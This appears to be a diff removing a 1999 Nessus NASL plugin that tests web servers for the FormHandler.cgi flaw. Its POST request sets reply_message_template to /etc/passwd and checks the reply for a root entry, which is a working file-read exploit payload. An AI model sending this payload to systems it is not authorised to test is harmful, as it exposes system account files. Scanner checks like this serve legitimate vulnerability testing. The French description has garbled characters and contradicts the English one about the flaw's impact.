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- #
- # This script was written by Renaud Deraison <deraison@cvs.nessus.org>
- #
- # See the Nessus Scripts License for details
- #
-
- if(description)
- {
- script_id(10075);
- script_bugtraq_id(799);
- script_version ("$Revision: 1.18 $");
- script_cve_id("CAN-1999-1051");
- name["english"] = "FormHandler.cgi";
- name["francais"] = "FormHandler.cgi";
- script_name(english:name["english"], francais:name["francais"]);
-
- desc["english"] = "The 'FormHandler.cgi' cgi is installed. This CGI has
- a well known security flaw that lets anyone read arbitrary
- file with the privileges of the http daemon (root or nobody).
-
- Solution : remove it from /.
-
- Risk factor : High";
-
-
- desc["francais"] = "Le cgi 'FormHandler.cgi' est installΘ. Celui-ci possΦde
- un problΦme de sΘcuritΘ bien connu qui permet α n'importe qui de faire
- executer des commandes arbitraires au daemon http, avec les privilΦges
- de celui-ci (root ou nobody).
-
- Solution : retirez-le de /.
-
- Facteur de risque : SΘrieux";
-
-
- script_description(english:desc["english"], francais:desc["francais"]);
-
- summary["english"] = "Attempts to read /etc/passwd";
- summary["francais"] = "Essaye de lire /etc/passwd";
-
- script_summary(english:summary["english"], francais:summary["francais"]);
-
- script_category(ACT_ATTACK);
-
-
- script_copyright(english:"This script is Copyright (C) 1999 Renaud Deraison",
- francais:"Ce script est Copyright (C) 1999 Renaud Deraison");
- family["english"] = "CGI abuses";
- family["francais"] = "Abus de CGI";
- script_family(english:family["english"], francais:family["francais"]);
- script_dependencie("find_service.nes", "smtp_settings.nasl");
- script_require_ports("Services/www", 80);
- exit(0);
- }
-
- #
- # The script code starts here
- #
- include("http_func.inc");
-
- port = get_http_port(default:80);
-
- if(get_port_state(port))
- {
- domain = get_kb_item("Settings/third_party_domain");
- s = string("POST /FormHandler.cgi HTTP/1.1\r\n",
- "User-Agent: Nessus\r\n",
- "Host: ", get_host_name(), "\r\n",
- "Accept: image/gif, image/x-xbitmap, */*\r\n",
- "Accept-Language: en\r\n",
- "Content-type: application/x-www-form-urlencoded");
-
- s2 = string("realname=aaa&email=aaa&reply_message_template=%2Fetc%2Fpasswd&reply_message_from=nessus%40",
- domain,
- "&redirect=http%3A%2F%2Fwww.",
- domain,
- "&recipient=nessus%40",
- domain,
- "\r\n\r\n");
-
- s3 = string(s,s2);
-
- soc = http_open_socket(port);
- if(soc)
- {
- send(socket:soc, data:s3);
- b = http_recv(socket:soc);
- if(egrep(pattern:"root:.*:0:[01]:.*", string:b))security_hole(port);
- http_close_socket(soc);
- }
- }
-
-
-